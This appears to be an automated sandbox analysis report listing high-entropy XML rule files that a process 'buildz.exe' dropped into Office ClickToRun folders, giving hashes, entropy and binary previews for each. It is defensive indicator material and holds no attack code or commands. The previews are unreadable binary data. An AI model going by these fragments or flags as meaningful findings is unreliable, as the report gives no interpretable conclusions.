p..8~..4..M7G.cI..#F......O..K...D.....S.t...(f....W...@.,..&.;Z.f.,..+<.IZ.....0.i`.N]V...Z...n.......(E<](g3F.?Z\|.mr.y.L).+.G\|..;Lt.ZJO..'..L.S...G."f.."...V.....j.afK.9PS`...P.0%.....h.<..eE.g...}...`T.S"'.......mC\....S9O.......)..5./.(.Vwn.~i....`Q...7...o0%.i.....3...V.kBq.....=OY.[..N..l.W.2..5......#7..H]V...lL+^..]`so.uak.f....N............L...w.x.c.A..,.`...<G.(....z.....K.=..........!U..74.=.D!....<......Y1,QJ..Uq."....9.$.r....h.D./.cq,....?M.e.>..A..Vi`...w6..<./..u^=.....0...!'R9...H5&...q"+i...T...PHv..}.....8R4.Du.......co.G...L/R.)..J.A.yE8.<...0{...t..g..$..".t..+>..2..Fq...J2>.N.>.L{....~fg.....G..vM\|}..I...._.....g<..)...p..9..}. .w.Q.C..#.&.P0{.....A.....Wa,k...vy.....N.....h.......'#.U%.Er.....:;7.......X._.Y..[...T5n....o1P.:B...H....OG2p.iA.$..d..#.M.....}.!.1..)Nm....rD.{..#..[.qR.ea.......n.$.tdr..#....N...?...SX...%..1<}.....b......'-T...Q6..q++.....B.n.[.B..b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700451v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.89029080684707
Encrypted:	false
SSDEEP:	48:JU9HJTEk8fcl6spoyGmYW3JFNiF1TL0G+oilS6/E7m0D:KjR6ELYAJSv4G+hjs7mg
MD5:	E982D53CAEF65823914185A160181AC9
SHA1:	3C6B327A3798779A40C96910DBDB934FFB908420
SHA-256:	13C4926BFB2A9935997D18865C28B1C11086B119401EDF3AAD77FE1CE87ED0A3
SHA-512:	1AEBE5EE7C467D5AD2A3468B4631460C1D71599DF1778DABC4AD970CE72B092BB5EB793D0B399481EDBEED30E9F5E676592C96C069A8302A5331C4706A6A3349
Malicious:	false
Reputation:	unknown
Preview:	.<?.......0.....Ba.\... .j.q^.).y..B+>..G.2a^.!..W...&0...)g&..B.F#.8...a...i.xg..d[.j.Q..X...f....7.....`s..?8..(../....l...5{....mq..Z1{J.%....f..g.....!.}%. ...T.Ol.L1.\|O.....jy..-..ZD.t..f.... U......4s..v.."TR.t9..pDIN.c.8..D...Kx..b..v?..k...@Q....V..&.a'.qp$.{..kD2...q.\w...c....v.Xg.R.l_.A.{)iq/62.&.. Q..(m9.....qQ...'y.TN.4k........ou>..>=:>..f...tZ.....4e....8.P...).m.O.]..fW..fq.y..}..\L...M..b..t~....2..'..,...... ....A......Y........H"...-..9m..FyL}.k...o..9A..G$..^.......ib.r......a.c...jZX6.....Gu.$R..+...).;.$.l...{G.@.,Q.....h<X.A.....}.....]lG.k.....f.h.h..*....u.4.e..D.r.....n...n.....C..)....?{..].G...p&n..3..V.O.....;$.[........0FZ.N[\|$......xm.L.<..cl...B........#..9..O..l......).>u...Z.z.K...fWSS.c.........x...........e../+.............R.b]..C...:u....M..Bk.%..U..x...&.1XUg..F....9D.V.~...X .....@!.u.....`..t..Y.m......O..k.K.&x.]a.1T:..........PG.^...#.....&R.`.U{.lY.1...-~.....>....23.PDbb.$.D.....V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700500v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.888190373364854
Encrypted:	false
SSDEEP:	48:OaFfWde7SeY59j1tOjJDyPI/IfzLKswltgisD:OaFed8Seqj1OxzIfas8giI
MD5:	764F5750E8497415A57AD74913D3A8A9
SHA1:	3CD9C8343071377A4E16C67984F1CB7D72AABB22
SHA-256:	D8C24E9B9E9A49C4A153029926880C551EE196AC93F83C9C1B74FBAC72C173FE
SHA-512:	4D9426CA423E05E39CF5786E0D2635B1E03058ADEF5756837FB98E62121559576D69FB2D242D7C6546D2F38F4DE32DD0A92E0EE472983240F62888B63E5E812F
Malicious:	false
Reputation:	unknown
Preview:	.<?s..Y......guG..........@.9fz....r..y...>.IY..W.Hl6......k.W"r...nJ....a.}..\|nZ.JT`....X..D..f.I..y>3......R../.....i..$. .h..7.q..}h^u........!`....z.{...P9a.q.{.[Z..}..."...P......l...s.e...u....#.aa...R.8.X..\|7&...q.E..F.pI7.'..b......)b.9aZ..7.F~c..j..(..a.O..+..5.....V_M,..ESC....&3SO........C$K..i.........}'..c.../......\|.<..qn...n....:.t.noA8....v..T....R.Pe..]......iu.'...G.......Vb.I\|..T..Y..2+...+z...sj.&i..R,...6i:..'..,'..]..i=..,..L.:..K..f..../.%J...../..p...H.s......J.ve&".Cd.F9.f.@>."..T}....x...y..b..........7.Jq.$..y. `......?].:..]a.........:i.5.t.....v.....j.t...^.!...Z..#I....+...4...._...E.....f./.~.Ec..$...._......}z.`.....QV......&.....%..tm....im3.X,...../....Tki...y......X.C1/.d.R.}XVC..w..s..6O^J./h.@....y..o...S_...z..W..&wH.#.#..r....&.s...a......<G..iA`8..jKW..pJ.-.q...R......*z.g.+Z;vj..8.....du....W.".M..kumZ~$T.G4...mM_h.'..."~..........[Wu..s}.....6..m..S..{.m...H.o'.X.3+S.......Cx.)Ex....q.zt

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700501v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.885375643900654
Encrypted:	false
SSDEEP:	48:cA3rGZ191gHxGjGE8FQJ3rlZULXMfiGz1CqFD:5rGZ1cHu8itlZMMfiG4q9
MD5:	FB43C9B46196137966C5B2F7815F75B8
SHA1:	5054CCBD99CB8C0CDA76850908F009A37281FBD3
SHA-256:	0479BE3156B4E29731D288A898EBD2E96CE470708757A7CCD8517CFCB05844B3
SHA-512:	98F4BF94B85AB2332DFF507578B3A6A79465413EE45EA91BDB73630FB095EAAD80BCDDDB8142D02185E6A82E5F6F7C29CEFA15B32185FE829A8FBF26748B086E
Malicious:	false
Reputation:	unknown
Preview:	.<?.....%.S.b..W.H.....b...N`.:r=...l..B`.k......9.EW0.r\....p.kSu.._..A.u....T@......g.t.u....d<.`.`%5..V?..h..7.=.`...:}}.8.P..>W$mj.m.j...`X...(^........l....w....MC~.3..{...`.}...&t.\.5w...-.2....%..:=...v.......,..P..U.P.:...2P.'...'...#n.9.f........../2g&.^.....c&...2.I.bcr......R...$.\+.,B<)xI...]08. ...wP....\.5a.N....\|....S..+...ZR..@..u.L'.s1mw.:E-..G.F..............C:.l...w....r..2...8..X4Rp...aJ.=...=8I...)....i.U'.W..~<I...z.#......Y7u..3..!..../.p.\...1....4.H.xF.`../S....S.m....2zD......,...../7.D7^.<."NN..m0p..$C.Uk.6W7.z=..%._..[b]...x..B.z."p.}T..c..2....U9..9"p.......x.......'..G}Z..X.H.~k.....YS...&...S3..G9.J.d.J.... u@`@w..#Q.....5..?2w.8~...........a...}...l..2].Z..>..X....(..f\|....w=.....q......fy5...s.&..i..._.O=J.a..k.xCz.g...(...c'H{...ok(......x(...5..;#R..oV.3..*....Z.n.B..:.B.4..+.P.]E...f...o......E..J.l....#...p.M.2.o=.!..B..<.kM....@.......1I...?..[.D}.[_..;..i..N_......-=......0.y.... .$b6\|...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700550v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.880400288354345
Encrypted:	false
SSDEEP:	24:Q2h28SoD6/eQhW3Skifw+A1GT3ESlfIWyFrDDMNlujaBiZVi57TI9W3Cp3LHs+3b:LXjS7fDfuqX9i/U7TPyp3zRxtdwID
MD5:	F3130091D983379AC9B4F462395D368B
SHA1:	0EF90B92DD172D5DDBE69E06F66733C089F1ED74
SHA-256:	F526378F667572D01D73B7853724D8A424D2CB451E6BF221B72D0E4CF0836096
SHA-512:	871BDD95E8D6049E81A352BA854F9FC39EE530676C7EDC6A042D27641E7BEC03DC9276A07D31E6CB77F351C09F213E7E82EB62E820B0A3AD8C82C7C506C0035A
Malicious:	false
Reputation:	unknown
Preview:	.<?Da..p.F..:Zt1'[~.5..^..<....}\......I..53+...U..>...Y.'....2..Q\|.%.lu.Y#+...........Wy..Ra...r..B)B....pnI......a+..a.G...a.sD./.%....5.}..a!.%".n2Nmw.....Fs..N:.f[...D...~.....u........?.....S.......\..~.......=LmS.2.yR.N..W.+...~x........mHT;......T.....>.%Y.....i..._..V...^...z.,.P>T.hD..\|/...._1.....G....c.BH.....z._1...x...&....O1..A....Q..e..u..F........_J}.".-q.;..........J.u..z.l..\|S:[...Kf.."...8k[..E..7YKI.K........r?r8.h.....2.m..?..5g8R..Y....P....e.zpq$.M.F...h.g..r!...,..Aa.i...y.\..~.m?.x@E...E~.D....>.oU......tV......-.l..Z..~&\\..y:....{h...1..go.g...G.I.41{y<.sN..k?.!,..M...A.....>4.......9.*@YG.........u_R.\.Z..0!.+.f..6.33...P@. .\|..}.\......QK.S..<..w...2@..:..r.iv....'.F7U'....3@..A...U......hj.{...[.l..+C.. ....=&h...^...o..C..J.OU......d.2....).\.P...~.....RWs5<en.s...))...=..'.n..Y..U",Bm....$.l..1...u......C....f:\|{....I..&cr,..)./<}....q..Ax.....\|#..8..M-MY..1X3dw.9.1..b.j..._......f.Q.+.8.nt....q..z..[.S..P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700551v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.891937194396919
Encrypted:	false
SSDEEP:	48:QrPcGHkpck4jlEQ6+mqiqW27yUdJVzVHGrD:GcGcklEQ6+mFF2jVUH
MD5:	6113DF7C362A606900CB8A70FEA4AB84
SHA1:	ECB77FD540A94C656C406B4A9E5434927D8DD47D
SHA-256:	5931E6D9DD3C24504EA3FD62778374219D4CF6EFA09DB5CA4D6FFDE01645E27B
SHA-512:	10FFD0F12FDA2025E06439EFFECBD972437EC014C653B888FA4935E6E5420AB06241310225DC9BC3D1B3080A7DABC11C687BB95E355FEBF6A4BDB2F67AE1E0E5
Malicious:	false
Reputation:	unknown
Preview:	.<?.Iwh.>\...jG..NIG.P.h.W...w3...{ItI.......0q..}..8....$S..r....5.~b.w..a..:..w.%.U.L.....<>......@.Z...S...../. ..C...N..!INM.8.0,...d...z.FH0A.vI8.-\..>.....R`...t.w2.\|..K,...u..=....W;..c.#Qo.Z.0`O.......E.\|Vr...T..mDu....rW...>.S.x.......vj<..SAJ3...i......h.B.=......e'.E.[.SRq........^..}...-..!..w..a.).....A.H........%.>.R.....\|.Jx.I..E1...P#Ba...W..(.".....".....1...e...].L\....b......k.J.<.....K...`.R.]D..5.yR...~.S..0."..n.Aj.P.%...+j.....wo...${.e.D{d..Q;.~ul.?.4!Km'....$......nh.;..P...{.?.pS...S..2.......HN..2e.........}R.3.:.Xhl$4.#.5.[.c.......b..r.d......(..qS.f%...K.q..L9.......A..a. ..-.K...CJ.w...K..E...S..{.....{...<...j..n....W.[...t+..&..CO...)hm.[f5"V....{f..a.q..xu.R\.......H.a?W.&C..J..j..a....U.....I.q.>.Na.F..j..ILh.\`%.F"M..q.........1.f..]$+...j`.:...k..--....J7..1........P..^..C.,.....N..rT...gy..!..~.x.pV$.Ib.:....(O..8@.......#T......_Y....I.,._;...J..e8...#...9.t...w:.GW&...j.5....EF..o...}G.F.>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700600v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.87294549780496
Encrypted:	false
SSDEEP:	48:USB4viQ56u3CpEgygxb2jLEGnfphfLx8M3dynd6tOUiuD:Uq+VPg/b8PpT8Mt2LW
MD5:	0CABB75D0E4D66DD439CC65E76353ACB
SHA1:	92B45ABFBB4034CC2717E4FE559010F5875F6BDA
SHA-256:	0FAA10FFED1FA54280D2D1FDFF1E696EB96FFB0F5832C1202B92A4260585D52B
SHA-512:	A2965A6E3652B89E6BA52B413FEB1EB3D28759BE8B0A880F5B32EB06FF7E79A1560988FA0D98C900E9CD92574E0AF05F62BFFC6F9FE89239CF08363EC15350F3
Malicious:	false
Reputation:	unknown
Preview:	.<?r...+....1.`..5.y.CiU......^..O.....X..pd..;oV&4.Q...0.D...I.......f.;.........(.q2Y.........#.U.\:....<YxK........C....205.zH2.hP*/H..}....Qh.+....w.d...6r......b?.....R.......o.@7.].p..\|~.'.Q_....$.4P.=\|....y....9...x...L.P==.....)..L.........5.2..8....R]n?n^I..k...q.(\..`2Zj).R&v0......o(.......ve{....+....2......=.h...........<..~..f..e&)....zj...!-$8.'.C....c...)]..C...KZ....@.%.1....I..V!....?\u>riM.u...J...x..0....s....y...wp...>.?...Je.....UlZ....K...H..U.:....E.......T@.../#....\|...\oW^.2...Q...I.+..W.H..A.{.Q.r..cli.PM.....,.jR.6.Q .....n..m.[&IX..+...5....SS.@..z..@k....!.X...f$.Y...(].1L.1..2..q<g..\.@54........r.Z._.R]..C.P...p.>`W....f.`.q.....B...Q.+....Ze.....K.mT.Vw.......B....Qkf.9.f.z..o........K.....{...h.z0......}!t-i.C......8.(.w....i..v..g5C..{.....y..>{.)=...!Y.P.R.(..C..&!.+..9...C./..."XTH...p?...k..q.#.\.F......":.U..^R..._L@.e...B.0( ..2d...v..=]..(n{..rU.w..T.D..qd.G....!.jE?.6.N...M.....(8$._.N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700601v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.8798918779057505
Encrypted:	false
SSDEEP:	48:k0QjEf74PH+F2f7MQu5ZWlSuGDMlqectJ5vBGjp3D:zeHv+F2DMQuHSSuJl1ct3vQ
MD5:	42ECB7B1F75E90DF13BC245DC8F4D15B
SHA1:	58740ED1E9EE78CEF2E15CDE2F61D22DF2CDF501
SHA-256:	DCDB37F772863CC41AD064A4204D29D8AC8502CB81042845677E07271A76F73C
SHA-512:	464A8F98A9FFA21EB2E6CACEEF1DDAE2E94F7EE3B2CE6BE11CA774C89B4EA087C941D7E34D27ABC912436D17E1F0DE2C6550EDB3A2627D44E8F58750B0F361C9
Malicious:	false
Reputation:	unknown
Preview:	.<?..}.eL...%G.pS.......`.P..T.&^.<.a.al......$.#Q.zt\|"&...[....K/U......d.OJVc..B... .@6.Bm.)4.....y.`}...a?..$.'....BI\..o...`.m..R.E2.x.....Ys}.....p.[.....L..i.e'..\|..)z.#..W..W."...)...1d.C.....u...r^.....f^.../.......:.....h.q^.&..2.....T....c\........5.up`}.b.<..[...._......a._#..Z..F......f.y..<.......$>.<......:..........@7E..8-.C.......t.F........b..g.>..u.....w./.l.....'p.t&-..#.lE..~`.8_EN.......ol.......I../.5.4.>...h...<$.....v.;..1.."C~g....B..._)t.].7.....WR^)5.X...E.......P...9l.=.3...-e..(...!.....w..N..@..s..F.......n.E.k.w.R?0Fx.Y?..e.c)TO......Y....~%.pcY`.q..[...\4*..........z.`..V.,K$.....q....#...:8?0..\|.a.....G..4...L?`g..<..k.......vg.BS...U;.C>.`..I?..-......a....$F.m=....p.UIe.u.....pkhX>W.)9n.~.>..V.i%.t/9.m....Jd@..hZs.m.......!._...b.........Od.ucja.x!...<..L...W`CN6 .h........ko.:...e...r.s5i.e.=...e......?...Y.^.}'.}u.......(..2..k.4......(..!..<i.?.J.......a.?...<.k_N.P.K.d..s....{....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700650v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.877176307298063
Encrypted:	false
SSDEEP:	48:ye5jHWpjHDovPctlse1s1zTSXMhjcMa9VkgLL9xD:ropjqPou5jcRfkg/95
MD5:	97F9F6496726970B3BC60125F87AE3D0
SHA1:	6C722AD50575361E50F8B79502C84FE8BBBA88A1
SHA-256:	DB1836A758A45E0C131DA80D2E2A3CF8AA42F25F78B738CA64F2EEB7BFB36747
SHA-512:	5064DFEBC10817C4A0610DDA31D898702936BE60C608162129AD80A0E3302197FACE0E0C503D1C18384AECA89CCF3DB1FD893D0B07DBFBE3665240F5BCF07CF6
Malicious:	false
Reputation:	unknown
Preview:	.<?.-lL.....".\|2.y)8U.f...."...J......q.#.8...PP...0".:..^...Y. ..%y.._?...D...4R.%...Y?.\-.A.Jc.?..V..f.c.m#........hD...rok.2g..8...X.....B....s...[.5......]z.\.[0.X[ .(R....R..s...S......m..y.U;..du..{.]$.u.....y..-....I.Q`..\|.<'...{.$._z.<....(.._...H./.D..^4.M...j.!..."]s..Ql...G......k...j.gT.. .#..\.c#1/.......TtM.&<..Z....2.iK..+......I..g..=...%...QN.....T.2.....JAU.Xn)L...K[......5..,.k}....C0..... ....w4.......r.N..9...-#...$.......s.3A.nc..W.G...D...KE\|..y..(....#..tJ...e.s....n.R.0.;.F...e3...P}.O.m....2}3.T...k.&.b1.......b....r\..\|u;.4}..t1U......+h.)<.t..D..\..f8f 3.x.asv.v..Y.].rHl...../..9..2A.2....{.....Q...T...>.`.Y&%..f.QK...........6,.~>..pv.9.8\|.b.....><....I.$~.D.7....<k...c.{..ay...$..Ci.G..{..pn.`..PdoV...4S.i.....-D..l.k+...T.tO.".~........7....@1...."%f.....`Mb...........D.s$P.LP.Yg.6iX..)..^...,...V.....s..Q../]..&...9.i...8k......g....v..(/...w.}..=...".....jQ.....;.V.....#.QYCC-..v.cw.......{..."..s0....V!.6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700651v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.894112425291954
Encrypted:	false
SSDEEP:	48:GTQMQMC2zN8gaeILsHvtKwMY8G8q40wZcCzBwtpVWXhYX48D:GUU3Z8dPswNG8qrLCzBWpOw44
MD5:	64F9F94048F631F5B74AB323EA7A75DB
SHA1:	8BAC46B5ACEDCD9098B3DC47E4378942C024A3D4
SHA-256:	0C61EDD225D3FAF6984B45E9D0B167370CD2BA689CB0907342CFDBA896F9ECEE
SHA-512:	01004E6586A69360A13F7124367C962E8A1147F8C4A879BC75A575F213032099370E6C79559A47F16A9CF9183C885FB1B8CC9FD184E7A9A82317C15F346E7B82
Malicious:	false
Reputation:	unknown
Preview:	.<?....5.e.;.U....~(..dg`.0........6H^...~..F.O^."/?.j....+R..:....XH.\|j."Om..t"....q..6.XE.9.......J. .QZ.4X..Vt..l.G:._2..k;.KCX..F.Py>..P^.....W........$.9.H.......<vV'..Isl..........)..G.i!.s.H.Z....E<..o....k.t..y...,...ab.v.9.-.?5.rJ.=........1.d.[$Fw.?..ge.gi..........9..._....`....LOw..p....M...T...6tG.J...kP@A4..4Q\|T.b...,...Kp........n....K1....v.....h.~W.C_....\|..W.JW.a/..P....K...>............9.f.<{.?#r..R.hf.q.%.a...Y.}....Uv..N.Ah......4..N..7.y_e..Ni...1..C;.ig@\.z.hj...l.w`.u...;R...a.&.q.OS>.$.S...s.wB.;.k..#$6..&z..G?.H....m.m..r...P.P..Z.f.P.a.,}+.(....v..CN.K...l.>(.8..gu.9.y....{.XyX.k..W3....,.....>0...S.K.u........".....&2.g.jg.h....q.?s.].r....3#Z......t.....$.........:`.'..$P7..4d...H.....LN>..>.c...n`g...E..~sVD.@._.pd.Pm.i.n........b....qK=........./k0.."_...Sh.[.zcMO......a6V.s....'_...$S...B,f...X..'B.......'U.....%ym.py~%VX.T.BX..........1.B;.7...@+......{.~.:.F8....a..~..e. &...f..B..A.>.+{..@..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700700v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.894560400269992
Encrypted:	false
SSDEEP:	48:ZQE8kAW5omtNGzEA4OOIbT2xcaPQLugytikjEX6IT3eSN8/yBGD:ZRdezEA4OOk2cAQLugAl66IlN86Be
MD5:	E05C8B07BA5856CBA461687FC84A39C0
SHA1:	2CBA62F7C1C47E4CA4868100F3668EC207F59F01
SHA-256:	E5616467EED50B612D767FAB508A4EDD51BF605BBA43FABEFA1EA5642E1217B1
SHA-512:	D3DC397AB231807CDF2A174E8C47328E6BB3BC8611E24302F65C8BF414F7259EBC4EF661211BBD1570744F84D99C88DD549131867A07D14DB63AB49937D66DFC
Malicious:	false
Reputation:	unknown
Preview:	.<?.....mn.Iw%!.t.f..\.TI..6...f....^.5.L.\|....l...3...jWk.L...S..^V.5r.A.'..!.y..P.-.7vN..dq.w.N........$=mjV...5......Y.m.........KY.....2y{.F.-.8..}i.....?~'..L...I.T.m..m.a......y..[.,...eC.eN.j.x.+r....P.y.E.}F..]C1...F......gq.{....g.....,.9.U..GQ.K\>D.z..1Q.C...J..B...+.&..........WK0...Q.2/..jb...J..T...k..F.C8C....e..)..K.o{...,&.$...1...evk.N.o&P/...OC..J.....V....&..B..\|..Q.cx-.0`.o.r./.\.#..@.+.....O......dG.J.g......{.OpS...E.U+. ...}..q.N...hn..r.3..M.o.}.gY....FQ.W(...hz3.)65P..H{.o.-...Epz..?..cJ.ovC....T.......B..g.._s..I]..M.$g9......eD.....(."&..2Y...E.k.f6..74..pR..x..LW.d.R1v...5..;...p.k3..R\.V[./...h7. u:.$.r".]+.J}_...d..q..=.hCfo.R..........@...R9................Xr......v.....n.^..O..6.5...v..%./.p..o:.....<...:.Pd>"...=..g..0.)...K,=.c.N:......7.j..2.c............~.....,...).<w...$...)iO...e...t.....k..9..nEO.@.x......e.[.G..[..6...\|.dO.$..+.~....7f.,..1."M."X......G.^.W.P.s...<a.%....Q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700701v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.892912089266994
Encrypted:	false
SSDEEP:	48:BPsyuimabLBuCDdSE7MAF5GY3SLjgefGFaD:Ru1qLBVS2KOSLjhQy
MD5:	580DAF1B307E7EE7EF44EE42807BA142
SHA1:	82A8A057708AD1E2BA8F58C7ECAE97B5B24648ED
SHA-256:	4160495F47BB02BE145E4289286040BFD24F44F49ED60C685B69E6098FC875D9
SHA-512:	97A35FCC1361C4F1C84695EFBEE9DD6B0A23529EB3F0B9574CECD84A7547E27F2EB7F5230BE8403C8D9A02C1A6E7698326279E6B28F4A84554F82217C58CB7F1
Malicious:	false
Reputation:	unknown
Preview:	.<?..c.t].I...;..'.N.zz....$8.Z....)G;.-.Z.\.D.8.`...!].:B.h.nU......]._.......$j.V...3...3J....vR...{(./.wDT.=....GV...s..W:.......Q.K..x.H......k.f.rP.LJ1.8........]o7...r...U.OiC.....=<..J=...%..].1.[.........".mwXC...<j..Ip...9.U#..>.......?..?.EC.j..3Eq...\|u....<.&y.1....@....g.\..S.%....Jo.B..................f.....I.UP%..kN\_. ..[........g.WSf...;..%..onA.M ..3.~.`.D&.s.....u....%b..3.^&..........].N..tg4^..2...]n.K..X$L1V..Y.... ......8....q.Q@.wd.I..im...l..U&=..x_5w.."F..uT0.~....T....3.....f........>%..v.\....<.....;3.j:..g..s..!.X.[_..}..hx.>...D&...D'.....}.n.P:r[.D.2.....H.Z{.a....X.3..R.tj.........-.\|...,W....\...@..r.J..K...PHp.p.D.y..#9.w...Z......-.M..Y..V...=.Y.....+..X.A......u...!.4Og....8.......`.....HM...F.W3I.....].".D..4..d.D....I.......]'.z.......4............N..m...l...z.w'.)t.;9.Heq.f.,..l.g0z.E.G....,......UmI.#..Hr.vg...-..v.a...Cini+.G.U_......mx..}.}."O.5._..M...f..\|*...&r.a.6....#.6..%..WJ.d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700750v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.89452336807978
Encrypted:	false
SSDEEP:	24:UFsrm5XgZkcJd+nyiq8Q06im8og5i5njoG3/6tMaiI09SeFHfOTirKXUFaGQbD:EsIXUBJd5im/g5iuG3/VaiIDGHm2OkcD
MD5:	141E315C4492B611EFDE04699C3D0511
SHA1:	FF080F4A36CACD3CBA6D3D730329473D8BF2E650
SHA-256:	240CF70DEC8B947936797734170A7103D709BF8A26D03E4AF55EDF29AB702CB3
SHA-512:	664DAAF3AA1D32E765994DAA18CEFA8F5515D94693D6C54DC8626F61BD53A4B07834055E29867C78A80A8D94CAC0FEA4E0B0AC92C612C66C556F00915310A48D
Malicious:	false
Reputation:	unknown
Preview:	.<?^...s..v..l....^...y...>..(.3....@H..............X...)M?S....#v.S....1..OX.....y....T...qy<o.a.....].Jt.g<..L@...~.P..R...w/.".v...._..........=f..Q.QX.F.....F..-.....P..q..k...Ezg.hr.........w.%.pz=.Vl@..y3....1.....)T.7n'.F..H...b.W......=p.&t/B.../..ls.....N.--..JY00..#c...A....\..._\4.A..S\k!.v.>...Q....H..\|hAw)m.,.i%......e~....(.0.q%..~IE".....-~.M.'.)....%.m.:.....B.q....>..U]t.....O.u.M...P..)..,P+U.."...8s...-...Y..H3zQo..}......Dj.LR..qf.t%.?...c:..V.w.F.F..R.Zv....{.;.f.F......^.Yl.Ix...^.<.......+Y..Y..k4..\....a.w.=.c...M.D......Yq....LOo^......a...I..K..%(...{.]..R.&.!)o9t.\p.....v.8.......Xe....7e..M6BT......9...G.&H.>!E..k}.........4../G.F2..(6=..K...l.....8>a....[.?.8...g".O....(..0.a....4`j...V=.H...HYo..Y.6...WT.5'#E....?..<.W..6k..h...N..'.. R..A.5....>..`".:.<.....#.....g.....I;..A......r{!...&./...s.~.%.pJ..x.PL. ..[b..!....A*9..g.u.d:..5.C.1.c......o....~.......C~._...[)...h.../.`D. )...L.@0..6e-h..f.f.E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700751v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.8941404537682525
Encrypted:	false
SSDEEP:	48:7pFmuB2DAOSX7BWd9UNmmmkpD4En+jc1KzNows15AYmD:7TBoDRSVWzQlD4JjVvw58
MD5:	D22C29DD3A2A6ED3170A0808078CA50E
SHA1:	21EE5E083FFBE87281FBF574BE61156EF00B9A0E
SHA-256:	F859B35AEDBE57C81D37EEB36BB85E8DEC48B4754030C88B12B34BC84031CA8C
SHA-512:	41C10F7DBC81C089552B318A8CF808CF90052D6083E81531023F300836679086AA24A136B2CF11B670B39D7BA3B1F26AD1D9FC6019F91AEA96247BC363A7ABC2
Malicious:	false
Reputation:	unknown
Preview:	.<?..r....)..H._.D..P.v\...9...M.$.wM..6.._?...(]...5T..A6..bvM.5W..uD.M.u\........T....8..8m.(a..,:X..gUd......@f..WWG.........gam.....dd\...........8Am. ...n...Uuds.....?W.z.K..\|&#:.#..: l...a...U..{nh...$+.gSg.5~9.yCd.W......a.:B2..bQ....'@.B.p..kW.tFS..1RA....R....T...?.Q[...A6..Jg.@....[R[fL..^..M.../l4.S...:..o....,.t.v.k..m..4.7..r;+.....P...1....w6...R\|."......\0.s...d.....cp../.n..%o.O..jp......v..Q.J..C:r..!+h...S%9......dr...S.6}]2.......(R.~..hd..\s;..#.j......U..3..=.H#i..kkjkf..r.X.....L..8[.8<.....H5.\|......l......#...H....H.....:i..).......Zl.P.....6.1..w...y..2...F...3.9.<U...BB.....7.F....@......z1..Cg...Q.(S......X.@:........v.R..9.=..mW.....U..F...;r:\.\~. e..T.(.HC.......CH.z.-E.$7..H Cm...@.4^..W.q.qq;1..].#..e..u.L..K.?r".7.m.!.......+.>..n..@:.:.E...R....k..jj.".`z..M=9k,."....O^.K.x..{...Y1...-...5W7..J..*..K.m..D<..k?2....K..Gj..7.-....X."L}U.....~&.`...j.$....M.v.tn..R.-.J...T..D.cx....SE.......,8V

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700850v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.886802740100967
Encrypted:	false
SSDEEP:	48:eIVXs6+fvOLQjeoH/IeJ10RUjhVIO8cUF9FLQTx2D:+Lf6QSs0JcUhuxu
MD5:	10188452592FC0AF29FBC4B3774F56AE
SHA1:	9AC7868AB91CED0830FF909DA2E7462CEEC66773
SHA-256:	E0DE02398581075F14B43A6A42940735E8F916B0E24532A9CD752AE13061BF31
SHA-512:	3848948AC06EE2607F078CD21B53557DCAA225946E38AE611257E9A11F97A9BD6D63722F0CB0EA070A1B550522ADA1CE632FF35E0EC126EFF282B70AD72B1E79
Malicious:	false
Reputation:	unknown
